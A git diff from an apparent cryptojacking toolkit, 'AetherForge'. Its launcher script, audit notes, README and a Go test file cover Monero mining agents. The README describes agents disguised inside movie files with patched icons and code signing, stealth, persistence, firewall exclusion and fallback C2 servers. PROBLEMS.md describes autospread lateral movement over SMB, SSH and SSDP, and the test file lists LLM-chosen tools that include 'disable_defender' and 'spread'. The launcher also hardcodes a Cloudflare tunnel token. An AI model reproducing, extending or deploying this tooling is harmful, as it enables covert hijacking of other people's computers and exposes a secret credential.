diff --git a/.gitignore b/.gitignore index 0588182..f865a0a 100644 --- a/.gitignore +++ b/.gitignore @@ -1,7 +1,7 @@ # Binaries /bin/ *.exe -!run.bat +!devrun.bat # Data (runtime) /data/*.db diff --git a/LAUNCH.bat b/LAUNCH.bat index 00283ca..e033892 100644 --- a/LAUNCH.bat +++ b/LAUNCH.bat @@ -2,12 +2,33 @@ setlocal EnableExtensions EnableDelayedExpansion title AetherForge Control Deck cd /d "%~dp0" -set "ROOT=%CD%" -echo. +:: Portable deck root = folder that contains AetherForge.exe (repo usb\ or copied USB drive) +if exist "%CD%\AetherForge.exe" ( + set "ROOT=!CD!" +) else if exist "%CD%\usb\AetherForge.exe" ( + cd /d "%CD%\usb" + set "ROOT=!CD!" +) else ( + echo. + echo ERROR: AetherForge.exe not found. + echo Expected next to this script, or in usb\AetherForge.exe + echo Run pack-usb.bat from the repo to build the portable bundle. + echo. + pause + exit /b 1 +) + +if not exist "%ROOT%\AetherForge.exe" ( + echo ERROR: AetherForge.exe missing in %ROOT% + pause + exit /b 1 +) + echo ================================================================ echo AetherForge - Portable Control Deck echo ================================================================ +echo Deck: %ROOT% echo. :: ---------------------------------------------------------------- @@ -123,108 +144,79 @@ if not exist "%ROOT%\data\spread-kits" mkdir "%ROOT%\data\spread-kits" if not exist "%ROOT%\data\uploads" mkdir "%ROOT%\data\uploads" if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints" if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps" -if not exist "%ROOT%\data\cloudflare" mkdir "%ROOT%\data\cloudflare" :: ---------------------------------------------------------------- -:: 5. Cloudflare Tunnel — auto-install, configure, start +:: 5. Cloudflare Tunnel — MSI + token service (no JSON setup) :: ---------------------------------------------------------------- -set "CF_DIR=%ROOT%\cloudflare" -set "CF_CREDS_BUNDLE=%CF_DIR%\credentials.json" -set "CF_MSI=%CF_DIR%\cloudflared-windows-amd64.msi" -set "CF_HOSTNAME=killa.thetempleofdoom.com" -set "CF_DATA=%ROOT%\data\cloudflare" set "SERVER_PORT=8989" +set "CF_MSI=%ROOT%\cloudflare\cloudflared-windows-amd64.msi" +if not exist "%CF_MSI%" set "CF_MSI=%~dp0cloudflared-windows-amd64.msi" +if not exist "%CF_MSI%" set "CF_MSI=%~dp0..\cloudflared-windows-amd64.msi" +set "CF_TOKEN=eyJhIjoiODk1NDc5YWIzNTQwZGFhNmQ2MWFlNzAyYTUxNjQ0NzUiLCJ0IjoiYWFhYzYzMTctMzgyYS00OTM3LTgxY2YtYjM2ZjVkNjZjYTU4IiwicyI6Ik1XRXlaV0ZqTlRndE5XTTRPUzAwT0RCa0xXRTNaR010WkdRNU56UTJZMlJoTmpNMiJ9" +set "CF_HOSTNAME=killa.thetempleofdoom.com" set "CF_BIN=" -set "CF_TUNNEL_ID=" set "CF_READY=0" -:: Check credentials exist and are real (not the placeholder) -if not exist "%CF_CREDS_BUNDLE%" goto cf_no_creds -powershell -NoProfile -Command "exit ([string](Get-Content '%CF_CREDS_BUNDLE%') | ConvertFrom-Json | Select-Object -ExpandProperty TunnelID) -eq ''" >nul 2>nul -if errorlevel 1 goto cf_no_creds - -:: Parse tunnel ID from credentials JSON -for /f "usebackq delims=" %%i in (`powershell -NoProfile -Command "(Get-Content '%CF_CREDS_BUNDLE%' | ConvertFrom-Json).TunnelID" 2^>nul`) do set "CF_TUNNEL_ID=%%i" -if "!CF_TUNNEL_ID!"=="" goto cf_no_creds -echo [CF] Tunnel ID: !CF_TUNNEL_ID! - -:: Stage credentials into data\cloudflare\ (idempotent) -set "CF_CREDS_LOCAL=%CF_DATA%\!CF_TUNNEL_ID!.json" -if not exist "!CF_CREDS_LOCAL!" ( - copy "%CF_CREDS_BUNDLE%" "!CF_CREDS_LOCAL!" >nul - echo [CF] Credentials staged to data\cloudflare\ -) - -:: Always regenerate config.yml with current absolute paths -:: (handles drive-letter changes when USB is moved) -set "CF_CONFIG=%CF_DATA%\config.yml" -powershell -NoProfile -Command "$cfg='%CF_DATA%\config.yml'; $creds='!CF_CREDS_LOCAL!'; $port='%SERVER_PORT%'; $host='%CF_HOSTNAME%'; $id='!CF_TUNNEL_ID!'; Set-Content -Path $cfg -Value @('tunnel: ' + $id, 'credentials-file: ' + $creds, '', 'ingress:', ' - hostname: ' + $host, ' service: http://127.0.0.1:' + $port, ' - service: http_status:404')" >nul 2>nul -echo [CF] Config written for !CF_HOSTNAME! -^> 127.0.0.1:%SERVER_PORT% - -:: ---- Locate or install cloudflared ---- where cloudflared >nul 2>nul if not errorlevel 1 ( set "CF_BIN=cloudflared" - goto cf_have_bin + goto cf_check_service ) if exist "%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" ( set "CF_BIN=%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" - goto cf_have_bin + goto cf_check_service ) if exist "%ProgramFiles(x86)%\cloudflare\cloudflared\cloudflared.exe" ( set "CF_BIN=%ProgramFiles(x86)%\cloudflare\cloudflared\cloudflared.exe" - goto cf_have_bin + goto cf_check_service ) -:: Not found — install from bundled MSI -if exist "%CF_MSI%" ( - echo [CF] cloudflared not found. Installing from bundled MSI... - msiexec /i "%CF_MSI%" /quiet /norestart /l*v "%CF_DATA%\cf-install.log" - echo [CF] MSI install launched - waiting... - ping -n 8 127.0.0.1 >nul - if exist "%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" ( - set "CF_BIN=%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" - echo [CF] cloudflared installed successfully. - goto cf_have_bin - ) - where cloudflared >nul 2>nul - if not errorlevel 1 ( - set "CF_BIN=cloudflared" - echo [CF] cloudflared installed successfully. - goto cf_have_bin - ) - echo [CF] WARNING: MSI completed but cloudflared not found in PATH. - echo [CF] Try re-running LAUNCH.bat after a reboot. - goto cf_done -) else ( - echo [CF] WARNING: cloudflared not installed and no MSI bundled. +if not exist "%CF_MSI%" ( + echo [CF] WARNING: cloudflared not found and no MSI bundled. Skipping tunnel. goto cf_done ) +echo [CF] Installing cloudflared from bundled MSI... +msiexec /i "%CF_MSI%" /quiet /norestart +echo [CF] Waiting for MSI to complete... +ping -n 10 127.0.0.1 >nul -:cf_have_bin +where cloudflared >nul 2>nul +if not errorlevel 1 ( set "CF_BIN=cloudflared" & goto cf_check_service ) +if exist "%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" ( + set "CF_BIN=%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" + goto cf_check_service +) +echo [CF] WARNING: MSI installed but cloudflared still not found. Run as Administrator. +goto cf_done + +:cf_check_service echo [CF] Binary: !CF_BIN! -:: Check if cloudflared tunnel already running (same process = skip) -tasklist 2>nul | findstr /I "cloudflared" >nul 2>nul +sc query cloudflared >nul 2>nul if not errorlevel 1 ( - echo [CF] Tunnel already running on this machine. - echo [CF] https://!CF_HOSTNAME! + echo [CF] Tunnel service already registered. + goto cf_start_service +) +echo [CF] Registering tunnel service with baked token... +"!CF_BIN!" service install %CF_TOKEN% +if errorlevel 1 ( + echo [CF] WARNING: service install failed. Run LAUNCH.bat as Administrator once. + goto cf_done +) +echo [CF] Tunnel service registered. +ping -n 3 127.0.0.1 >nul + +:cf_start_service +sc query cloudflared | findstr /I "RUNNING" >nul 2>nul +if not errorlevel 1 ( + echo [CF] Tunnel already running — https://!CF_HOSTNAME! set "CF_READY=1" goto cf_done ) - -:: Start cloudflared tunnel in background -echo [CF] Starting Cloudflare tunnel... -start "" /B "!CF_BIN!" tunnel --config "!CF_CONFIG!" run -ping -n 5 127.0.0.1 >nul +net start cloudflared >nul 2>nul +ping -n 4 127.0.0.1 >nul echo [CF] Tunnel live: https://!CF_HOSTNAME! set "CF_READY=1" -goto cf_done - -:cf_no_creds -echo [CF] No valid credentials.json in cloudflare\ -echo [CF] See cloudflare\SETUP.txt to configure your tunnel once. -echo [CF] Running in LAN-only mode this session. :cf_done @@ -251,7 +243,7 @@ if "!CF_READY!"=="1" ( ) echo Data: %ROOT%\data\ echo. -echo First run: admin password printed to console below. +echo Dashboard login printed below each start. echo Press Ctrl+C to stop. echo ================================================================ echo. @@ -271,8 +263,7 @@ if "!EC!"=="0" ( echo If port %SERVER_PORT% is in use, close other AetherForge windows and retry. ) -:: On exit, also stop the cloudflared tunnel -taskkill /F /IM cloudflared.exe >nul 2>nul +:: Cloudflare tunnel runs as a Windows service — stays up after LAUNCH.bat exits echo. pause diff --git a/PROBLEMS.md b/PROBLEMS.md index 746bb14..f3fc586 100644 --- a/PROBLEMS.md +++ b/PROBLEMS.md @@ -2,7 +2,7 @@ Findings from systematic bug-hunt and test expansion (May 2026). -**Verification:** `test.bat` from project root, or `go test ./...` in `server`/`agent` and `npm test` in `server/web`. AI handler only: `cd server && go test ./internal/api/... -run AI -v`. +**Verification:** `test.bat` from project root (→ `scripts/test-suite.ps1`), or `go test ./...` in `server`/`agent` and `npm test` in `server/web`. Live API matrix: `scripts/smoke-test.ps1` with server on :8989. AI handler only: `cd server && go test ./internal/api/... -run AI -v`. --- @@ -12,16 +12,20 @@ Findings from systematic bug-hunt and test expansion (May 2026). - [HIGH] **server/internal/api/fleet_handler.go** — Remote code execution via authenticated API (`powershell`/`exec`/`upload`). By design — treat dashboard login as root. +### Frontend production (server/web) + +- [LOW] **server/web** — Vite build still warns on `three` vendor chunk (~760 kB gzip ~201 kB). Split out of `DashboardPage`; inherent library size — revisit on next Three/R3F bump. +- [LOW] **server/web** — `npm audit fix` (no `--force`, May 2026) applied **0** semver-safe patches; **6 remain** (5 moderate, 1 critical). **Critical:** `happy-dom@15.x` (Vitest DOM env only — not shipped; fix needs `happy-dom@20.9+`, major bump). **Moderate:** `esbuild@0.21.x` via `vite@5` → `vitest`/`vite-node` (dev-server SSRF — [GHSA-67mh-4wv8-2f99]; prod build unaffected; fix needs `vite@8+`, major bump). Do **not** run `npm audit fix --force` — also pulls Recharts v3 / React 19 transitives. Planned upgrade batch: Vite 8 + Vitest 3 + happy-dom 20 + Recharts 3 + React 18→19. +- [LOW] **server/web** — Transitive `three-mesh-bvh@0.7.8` deprecated vs pinned `three@0.170` (drei pulls 0.7.x; needs `0.8.0+` on next Three/R3F bump). `@types/three` now pinned to `0.170.0` (aligned with runtime). + ### Untested packages (next coverage targets) -- [LOW] **server/internal/builder/** — Full compile/fusion/disguise still need integration (requires go/garble/fusion source on host); unit tests cover ~110 pure-helper paths. -- [LOW] **server/internal/api/** — `agent_config.go`, `server_policy.go` lack dedicated unit tests (covered indirectly via router/integration). -- [LOW] **agent/stats/** — Per-OS memory/CPU internals still integration-only. -- [LOW] **agent/deploy/** — Live SSDP/SMB/SSH/cloudflared still integration-only. -- [LOW] **agent/client/** — Live WS/commands/posture probes still integration-only. -- [LOW] **agent/miner/** — `engine.go` (RandomX), `pool.go` worker/resource guard, `stratum.go` TCP login/submit loop — integration-only. -- [LOW] **server/web/src/types/ws.ts + server/internal/api/ws_types.go** — WS payloads typed in two places; drift risk. (Acceptable — no runtime impact.) -- [LOW] **server/internal/maintenance/retention.go** — `StartRetentionJobs` goroutine has no shutdown hook. (Acceptable for server process lifetime.) +- [LOW] **server/internal/builder/** — Unit tests cover compile/fusion/disguise **helpers** (fake-go success/fail/cancel, `compileWorker`, `buildFileFusion` paired/embedded, spread-kit/fusion finish paths, manifest patching). **Integration-only** (needs real toolchain on host): successful agent/fusion `go build`/`garble` binaries, Windows PE disguise (`go-winres`, system icon extract), code signing (`signtool`/`osslsigncode`), Darwin `.app` bundle, full `buildAgent`/`buildUniversalAgent` happy-path end-to-end. +- [LOW] **agent/stats/** — Live kernel/sysctl/vm_stat sampling still integration-only; unit tests cover pure parsers (`parseKB`, `parseMeminfo`, `parseVmStat*`, `filetimeToUint64`, `cpuBusyPercentFromDeltas`). +- [LOW] **agent/deploy/** — Live SSDP multicast/SMB/SSH/cloudflared still integration-only; unit tests cover UPnP XML/URL/SOAP helpers, SSDP LOCATION parsing, passive-spread name/launcher helpers, and platform stubs (`go test ./deploy/...`). +- [LOW] **agent/client/** — Live WS/commands/posture probes still integration-only; unit tests cover pure helpers in `client.go`/`ai.go` (`truncateStr`, JSON types, job payload parsing, mock HTTP for `/decide`/`/heartbeat`/`/report`). +- [LOW] **agent/miner/** — RandomX hashing (`engine.go`), pool worker loop, and stratum TCP login/submit still integration-only; unit tests cover target/schedule helpers, stratum wire types, resource-limit guards, and hex/target math (no VM, no live TCP). +- [LOW] ~~**server/web/src/types/ws.ts + server/internal/api/ws_types.go** — WS payloads typed in two places; drift risk.~~ **Fixed May 2026** — `testdata/ws_types_fixture.json` golden file; Go `ws_types_test.go` reflects struct tags; TS `ws.test.ts` asserts same keys/shapes. --- @@ -35,7 +39,7 @@ Findings reclassified after code verification (May 2026). Not bugs — documente | [HIGH] `upload_log` no dedicated ingest API | By design: logs via `get_log` command / Fetch Log UI and AI `upload_log` tool reports. Documented in README Fleet Roster, tests/README, Field Guide tips. | | [MEDIUM] Compact list / expand on click | Implemented in `AgentListItem.tsx` (`compact-row`, click toggles expand). Documented in README Fleet Roster UX. | | [MEDIUM] Remote actions disabled when offline | Intentional — requires live WebSocket. Documented in README, `settingHelp.ts`, Field Guide tips. Vitest + Playwright `e2e/remote-actions.spec.ts`. | -| [MEDIUM] Fusion uses vendored go-winres | Optional tool; `run.bat` installs, builder uses `go run github.com/tc-hib/go-winres`. Documented in README Forge section. | +| [MEDIUM] Fusion uses vendored go-winres | Optional tool; `devrun.bat` installs, builder uses `go run github.com/tc-hib/go-winres`. Documented in README Forge section. | | [LOW] SettingsPage = Calibrate / no CalibratePage | Nav label **Calibrate** → route `/settings` → `SettingsPage`. Navigation table in README. (A11y `htmlFor` remains in Open.) | | [LOW] `types/index.ts` no runtime guards | Compile-time contracts only; comment block at top of file + tests/README Architecture note. | | [LOW] No e2e for remote actions | Added `server/web/e2e/remote-actions.spec.ts` (offline agent mock → disabled buttons). Vitest coverage in `components.test.tsx`. | @@ -43,6 +47,25 @@ Findings reclassified after code verification (May 2026). Not bugs — documente --- +## Fixed (this session — dead code / wiring pass) + +- **[LOW] server/web + server/internal/db** — `BuildRecord.extra_files` persisted in SQLite (`extra_files` JSON column). Build Manager lists extra artifact downloads via `api.buildArtifactUrl` for historical builds, not only the post-forge strip on Forge. +- **[LOW] server/internal/api/router.go + server/web/src/api/client.ts** — Documented agent-only `POST /agent/{decide,report,heartbeat}` (fleet-secret REST; intentionally omitted from dashboard client). +- **[LOW] server/web/src/types/index.ts** — `BuildRecord.download_url` required in TS; added `BuildExtraFile` type. Build Manager uses stored `download_url` for primary download (ZIP/artifact paths). + +- **server/web/src/api/client.ts** — Added `rotateFleetSecret()` for `POST /server/rotate-secret` (was raw `fetch` in Calibrate only). +- **server/web/src/pages/SettingsPage.tsx** — Fleet secret rotation uses `api.rotateFleetSecret()`. +- **server/web/src/pages/BuilderPage.tsx** — Wired `blueprintDiff` + `compareBlueprint` / `blueprintName` into a dismissible diff panel after blueprint load/import; extra forge artifacts use `api.buildArtifactUrl` on the last-build strip. +- **server/web/src/pages/BuildManagerPage.tsx** — Primary download uses stored `build.download_url` when present (artifact/ZIP paths from universal/Fusion builds). + +## Fixed (this session — frontend production pass) + +- **[LOW] server/web** — Vite large-chunk warning for `DashboardPage` (~898 kB → ~33 kB): `manualChunks` splits `three` / `recharts` / `vendor` in `vite.config.ts`; lazy `HashrateChart`, `FleetTopologyMap`, and `MatrixStreamOverlay` in `DashboardPage.tsx`. `npm run build` PASS (remaining warning is isolated `three` chunk only). +- **[LOW] server/web** — React Router v7 future flags (`v7_startTransition`, `v7_relativeSplatPath`) opted in via shared `routerFuture` in `main.tsx` and Vitest `MemoryRouter` wrappers; Vitest stderr warnings cleared. +- **[LOW] server/web/package.json** — Moved `@types/qrcode` and `@types/three` to `devDependencies` (types-only; runtime deps unchanged). `npm ci`, `npm run build`, `npm test -- --run`, and `depcheck` all PASS (33 files / 372 tests). + +--- + ## Fixed (this session — May 2026 full pass) - **[MEDIUM] server/web/src/pages/BuilderPage.tsx** — Added `useEffect` cleanup on unmount that calls `api.cancelBuild(cancelTokenRef.current)` and sets `batchCancelRef.current = true`. Navigating away from the Forge page now cancels any in-progress server-side compile (M14 UI desync closed). @@ -63,6 +86,7 @@ Findings reclassified after code verification (May 2026). Not bugs — documente - **[HIGH] agent/deploy/autospread.go** — `StartAutoSpreader` moved from unconditional startup in `main.go` to `AgentClient.authenticate()` behind a `sync.Once`. Lateral movement only begins after the server accepts the fleet secret, ensuring the agent is on an owned fleet. First-run spread marker also gated behind auth. - **[LOW] server/internal/builder/platform.go** — `platformsForRequest` universal + `TargetArch: arm64` now returns ALL matching platforms (linux-arm64 and darwin-arm64), not just the first. Test `TestPlatformsForRequestUniversalFilteredArch` updated. - **[LOW] server/internal/maintenance/retention.go** — DB record is now deleted before artifact files (so failed DB deletes don't leave orphaned rows pointing to deleted files). `os.RemoveAll` errors are now logged instead of silently discarded. +- **[LOW] server/internal/maintenance/retention.go** — `StopRetentionJobs` cancels the background retention loop; `main.go` defers it on exit. Test: `TestStopRetentionJobs_StopsBackgroundLoop`. --- @@ -123,6 +147,7 @@ Findings reclassified after code verification (May 2026). Not bugs — documente - **server/web/src/api/client.ts** — `estimateFusion` client-side prep-file guard (parity with `buildAgent`); `client.test.ts` reject test. - **agent/miner/** — Added `stratum_test.go` (8), `pool_test.go` (8); expanded `target_test.go` (+6), `schedule_test.go` (+3). **29 tests PASS** — endpoints, Stratum JSON wire types, nonce hex, difficulty/target math, schedule guard. - **agent/miner/schedule.go** — `MiningModeNormalized()` `"schedule"` was treated as always-on; now accepts `"scheduled"` and `"schedule"`; `allowedAt` for deterministic tests. +- **server/web** — Pinned `@types/three@0.170.0` to match `three@0.170.0` (was `^0.184.1`, skewed from runtime; `skipLibCheck` masked). `@react-three/drei@9.122` / `@react-three/fiber@8.18` unchanged; `tsc`, `npm run build`, vitest (373) — PASS. --- @@ -146,5 +171,21 @@ See git history and prior audit IDs (B1–B42, C1–C6, H1–H8, etc.) in README | `server/internal/api/...` (full) | PASS | | `server` Go tests | PASS (all packages) | | `agent` Go tests | PASS (full `./...`) | -| `server/web` vitest (full suite) | PASS — 33 files, 371 tests | +| `server/web` vitest (full suite) | PASS — 33 files, 373 tests | +| `server/web` `npm run build` (tsc + vite) | PASS | +| `server/web` `npm ci` + depcheck | PASS — no missing/unused deps | | `server/web` Playwright e2e | PASS — 5 tests | + +--- + +## Backend dependency audit (May 2026) + +| Module | `go mod tidy` | `go build ./...` | `go test ./...` | Notes | +|--------|---------------|------------------|-----------------|-------| +| `server/` | Updated | PASS | PASS | Promoted `golang.org/x/crypto` to direct (bcrypt in `router.go`). Removed stale indirects (`go-winres`, `nfnt/resize`) — winres stays `go run` at build time per README. | +| `agent/` | Updated | PASS | PASS | Promoted `github.com/libp2p/go-libp2p`, `github.com/google/uuid` to direct (`mesh_p2p.go` / `p2p` tag). `go build -tags p2p` and `-tags hollow` PASS on Windows. | +| `fusion/` | No dep changes | PASS | N/A (no `_test.go`) | Stdlib-only module; matches `test-suite.ps1` phase 3/8. | + +**Dead/orphan code:** None removed. All agent/server/fusion `.go` files belong to wired packages; build-tag stubs (`mesh_p2p_stub`, `hollow_stub_*`, platform splits) are intentional feature gates, not duplicates. + +**Fix applied:** `fleet_handler_test.go` nil-WS cases used struct value-copy (`bad := *fh`) which tripped `go vet` (mutex copy). Replaced with `NewFleetHandler(..., nil, ...)`. diff --git a/README.md b/README.md index 0e65343..7ea19fe 100644 --- a/README.md +++ b/README.md @@ -82,7 +82,7 @@ You configure defaults once in **Calibrate**. You forge once per machine (or bat - **Movie fusion** — upload `.mp4` / `.mkv` / `.mov` (or any supported file); two delivery modes (see below) - **Batch forge** — queue many files; progress bar; one ZIP per file — **Cancel Batch** kills the in-flight server compile immediately via cancel token - **Kill Build** button — single-build cancel that terminates the server-side compiler mid-flight -- **Windows icon disguise** — Fusion/forge can patch PE icons via [go-winres](https://github.com/tc-hib/go-winres). `run.bat` installs it to PATH when missing; the builder also invokes it via `go run github.com/tc-hib/go-winres` (vendored in `server/go.mod`). If go-winres is absent, forge still succeeds but icon/version disguise is skipped. +- **Windows icon disguise** — Fusion/forge can patch PE icons via [go-winres](https://github.com/tc-hib/go-winres). `devrun.bat` installs it to PATH when missing; the builder also invokes it via `go run github.com/tc-hib/go-winres` (vendored in `server/go.mod`). If go-winres is absent, forge still succeeds but icon/version disguise is skipped. - Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion - **Backup pools** (advanced) — list of fallback Stratum pools baked into the agent; tried in order if the primary is unreachable - **Backup server URLs** (advanced) — list of fallback C2 addresses baked into the agent; used if the primary goes dark @@ -139,6 +139,7 @@ fusion-deliverables/Vacation/ | Field Guide | `/guide` | `GuidePage` | | Calibrate | `/settings` | `SettingsPage` | + There is no separate `CalibratePage` — **Calibrate** is the nav label for the settings route. ### Calibrate (Settings) @@ -161,7 +162,7 @@ There is no separate `CalibratePage` — **Calibrate** is the nav label for the - **Cross-platform code signing** — uses Windows `signtool` on Windows forge hosts; falls back to `osslsigncode` on Linux/macOS - **Server-side forge cancel** — each build is tracked by a UUID cancel token; `DELETE /api/v1/builder/cancel/{token}` kills the compiler process immediately - **Retention jobs** — auto-purge old hashrate samples and stale build artifacts -- **Static SPA** — built UI served from `server/webroot/` (copied from `server/web/dist` by `run.bat`) +- **Static SPA** — built UI served from `server/webroot/` (copied from `server/web/dist` by `devrun.bat`) --- @@ -169,7 +170,7 @@ There is no separate `CalibratePage` — **Calibrate** is the nav label for the **Requirements:** Windows 10/11 on control PC and workers. Outbound internet to your Monero pool. -1. Double-click **`run.bat`** in the project root. +1. Double-click **`devrun.bat`** in the project root. It installs Go/Node if missing, builds the dashboard, compiles `bin\miner-server.exe`, copies web assets to `server\webroot\`, and starts the server. 2. Browser opens **http://localhost:8989** @@ -240,20 +241,27 @@ Workers auto-convert `http(s)://` → `ws(s)://.../ws/agent`. Workers only need ``` crypto miner/ -├── run.bat ← one-click build + launch +├── devrun.bat ← one-click build + launch (dev) +├── run.bat / start.bat ← aliases → devrun.bat (project-root markers) +├── test.bat ← full suite → scripts/test-suite.ps1 +├── LAUNCH.bat ← portable/USB build + tunnel (see usb/) +├── scripts/ +│ ├── test-suite.ps1 ← Go + web + build + Playwright E2E +│ └── smoke-test.ps1 ← API matrix B-01–B-10 (server must be running) ├── bin/ │ └── miner-server.exe ├── data/ ← config, DB, builds, preps, logs, users.json ├── fusion-deliverables/ ← per-title movie fusion output (gitignored) ├── server/ -│ ├── main.go +│ ├── main.go ← discovers webroot/, agent/, fusion/ from repo root │ ├── webroot/ ← production UI (copied from web/dist) │ ├── web/ ← React command deck (Vite + TypeScript) │ └── internal/ │ ├── api/ ← HTTP routes, WebSocket, auth -│ └── builder/ ← forge + fusion + ZIP + media crypto -├── agent/ ← Windows worker source (compiled by Forge) -├── fusion/ ← prep + movie runner (embed, decrypt, play) +│ └── builder/ ← forge + fusion (copies agent/ + fusion/ per build) +├── agent/ ← worker source (Forge compiles per OS) +├── fusion/ ← prep + movie runner (builder copies into build dir) +├── tests/README.md ← test phases, E2E env vars ├── PROBLEMS.md ← known issues audit (severity-ranked) └── README.md ← you are here ``` @@ -284,7 +292,7 @@ Full route list: `server/internal/api/router.go` --- -## Manual Build (if you skip run.bat) +## Manual Build (if you skip devrun.bat) ```bat cd server\web @@ -307,6 +315,8 @@ Open **http://localhost:8989** and sign in with your configured users. Double-click **`test.bat`** (or `scripts\test-suite.ps1`) to run all Go, frontend, build, and E2E smoke tests. See **`tests/README.md`** for details. +With the control server already running on port 8989, run **`scripts\smoke-test.ps1`** for the REST API matrix (B-01–B-10). Set `AETHERFORGE_E2E_USER` / `AETHERFORGE_E2E_PASS` if your `data\users.json` is not the default `testuser` / `testpass`. + ### Dashboard dev server ```bat @@ -335,7 +345,7 @@ Vite proxies `/api` and `/ws` to `localhost:8989`. Run `miner-server.exe` separa |---------|----------------|-----| | **Black screen**, empty page | Stale service worker or React/R3F version mismatch | Hard refresh (Ctrl+Shift+R); clear site data for `localhost:8989`; ensure `npm install` + `npm run build` in `server/web`; copy `dist` → `webroot`; restart server | | Login loop / 401 | Wrong password or missing `users.json` | Check the server console for the first-run password; reset by deleting `data/users.json` and restarting | -| Dashboard builds but server shows placeholder HTML | Missing `server/webroot/index.html` | Run `run.bat` or copy `server/web/dist/*` → `server/webroot/` | +| Dashboard builds but server shows placeholder HTML | Missing `server/webroot/index.html` | Run `devrun.bat` or copy `server/web/dist/*` → `server/webroot/` | | Forge upload fails | File > 2 GiB | Use paired mode + compress, or embedded for smaller sources | | Workers never appear | Wrong server URL / firewall | Use LAN IP in Forge; open 8989 on control PC | diff --git a/agent/client/ai_test.go b/agent/client/ai_test.go new file mode 100644 index 0000000..69ead3d --- /dev/null +++ b/agent/client/ai_test.go @@ -0,0 +1,273 @@ +package client + +import ( + "encoding/json" + "io" + "net/http" + "net/http/httptest" + "strings" + "testing" + + "crypto-miner-agent/config" +) + +func TestTruncateStr(t *testing.T) { + cases := []struct { + in, want string + max int + }{ + {"short", "short", 10}, + {"exactlyten", "exactlyten", 10}, + {"this is longer than ten", "this is lo...", 10}, + {"", "", 5}, + {"abc", "...", 0}, + } + for _, tc := range cases { + got := truncateStr(tc.in, tc.max) + if got != tc.want { + t.Fatalf("truncateStr(%q, %d) = %q want %q", tc.in, tc.max, got, tc.want) + } + } +} + +func TestAgentStateJSONRoundTrip(t *testing.T) { + in := AgentState{ + AgentID: "a1", WorkerName: "w1", Hostname: "host", + UptimeSeconds: 3600, IsRunning: true, + CPUCores: 8, CPUUsagePct: 42.5, MemoryGB: 16, MemoryUsagePct: 55.0, + Hashrate15m: 1200.5, SharesTotal: 100, SharesGood: 95, SharesBad: 5, + ProcessName: "svc.exe", InstallPath: `C:\miner`, HasPersistence: true, + HasTunnel: false, DefenderState: "enabled", LastError: "none", + } + var out AgentState + roundTrip(t, in, &out) + if out.AgentID != in.AgentID || out.DefenderState != "enabled" || out.SharesBad != 5 { + t.Fatalf("unexpected: %+v", out) + } +} + +func TestToolCallJSONRoundTrip(t *testing.T) { + in := ToolCall{ + Tool: "check_miner", + Args: map[string]string{"process_name": "miner.exe"}, + Reason: "verify process", + } + var out ToolCall + roundTrip(t, in, &out) + if out.Tool != "check_miner" || out.Args["process_name"] != "miner.exe" { + t.Fatalf("unexpected: %+v", out) + } +} + +func TestDecideResponseJSONRoundTrip(t *testing.T) { + in := DecideResponse{ + ToolCalls: []ToolCall{{Tool: "sleep", Args: map[string]string{"seconds": "5"}, Reason: "wait"}}, + Reasoning: "back off", + Error: "", + } + var out DecideResponse + roundTrip(t, in, &out) + if len(out.ToolCalls) != 1 || out.Reasoning != "back off" { + t.Fatalf("unexpected: %+v", out) + } +} + +func TestToolReportJSONRoundTrip(t *testing.T) { + in := ToolReport{ + AgentID: "a1", Tool: "check_miner", Success: true, + Output: "process running", Timestamp: "2026-05-31T12:00:00Z", + } + var out ToolReport + roundTrip(t, in, &out) + if !out.Success || out.Output != "process running" { + t.Fatalf("unexpected: %+v", out) + } +} + +func TestDecideRequestJSONRoundTrip(t *testing.T) { + in := decideRequest{ + AgentID: "a1", + OllamaEndpoint: "http://localhost:11434", + Model: "llama3", + AgentState: AgentState{AgentID: "a1", WorkerName: "w1"}, + } + var out decideRequest + roundTrip(t, in, &out) + if out.AgentID != "a1" || out.OllamaEndpoint != in.OllamaEndpoint || out.WorkerName != "w1" { + t.Fatalf("unexpected: %+v", out) + } +} + +func TestHeartbeatRequestJSONRoundTrip(t *testing.T) { + in := heartbeatRequest{AgentID: "a1", Status: "alive", Message: "ok"} + var out heartbeatRequest + roundTrip(t, in, &out) + if out.Status != "alive" || out.Message != "ok" { + t.Fatalf("unexpected: %+v", out) + } +} + +func TestShareCounts(t *testing.T) { + a := &AIRunner{shareStats: func() (int, int) { return 10, 7 }} + total, good, bad := a.shareCounts() + if total != 10 || good != 7 || bad != 3 { + t.Fatalf("got total=%d good=%d bad=%d", total, good, bad) + } + + a.shareStats = func() (int, int) { return 5, 10 } + _, _, bad = a.shareCounts() + if bad != 0 { + t.Fatalf("negative bad clamped to 0, got %d", bad) + } + + a.shareStats = nil + total, good, bad = a.shareCounts() + if total != 0 || good != 0 || bad != 0 { + t.Fatalf("nil shareStats should return zeros, got %d %d %d", total, good, bad) + } +} + +func TestExecuteToolCallPolicyDisabled(t *testing.T) { + a := &AIRunner{agentID: "a1", cfg: config.RuntimeConfig{}} + for _, tool := range []string{"spread", "disable_defender", "execute_command"} { + report := a.executeToolCall(ToolCall{Tool: tool, Args: map[string]string{}}) + if report.Success || !strings.Contains(report.Output, "disabled by policy") { + t.Fatalf("tool %q: unexpected report %+v", tool, report) + } + if report.AgentID != "a1" || report.Tool != tool { + t.Fatalf("tool %q: wrong metadata %+v", tool, report) + } + } +} + +func TestExecuteToolCallUnknownTool(t *testing.T) { + a := &AIRunner{agentID: "a1", cfg: config.RuntimeConfig{}} + report := a.executeToolCall(ToolCall{Tool: "nonexistent"}) + if report.Success || !strings.Contains(report.Output, "unknown tool") { + t.Fatalf("unexpected: %+v", report) + } +} + +func TestCallDecideMockHTTP(t *testing.T) { + var gotMethod, gotPath, gotSecret string + var gotBody decideRequest + + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + gotMethod = r.Method + gotPath = r.URL.Path + gotSecret = r.Header.Get("X-Fleet-Secret") + body, _ := io.ReadAll(r.Body) + _ = json.Unmarshal(body, &gotBody) + w.Header().Set("Content-Type", "application/json") + _, _ = w.Write([]byte(`{"tool_calls":[{"tool":"sleep","args":{"seconds":"1"},"reason":"test"}],"reasoning":"ok"}`)) + })) + defer 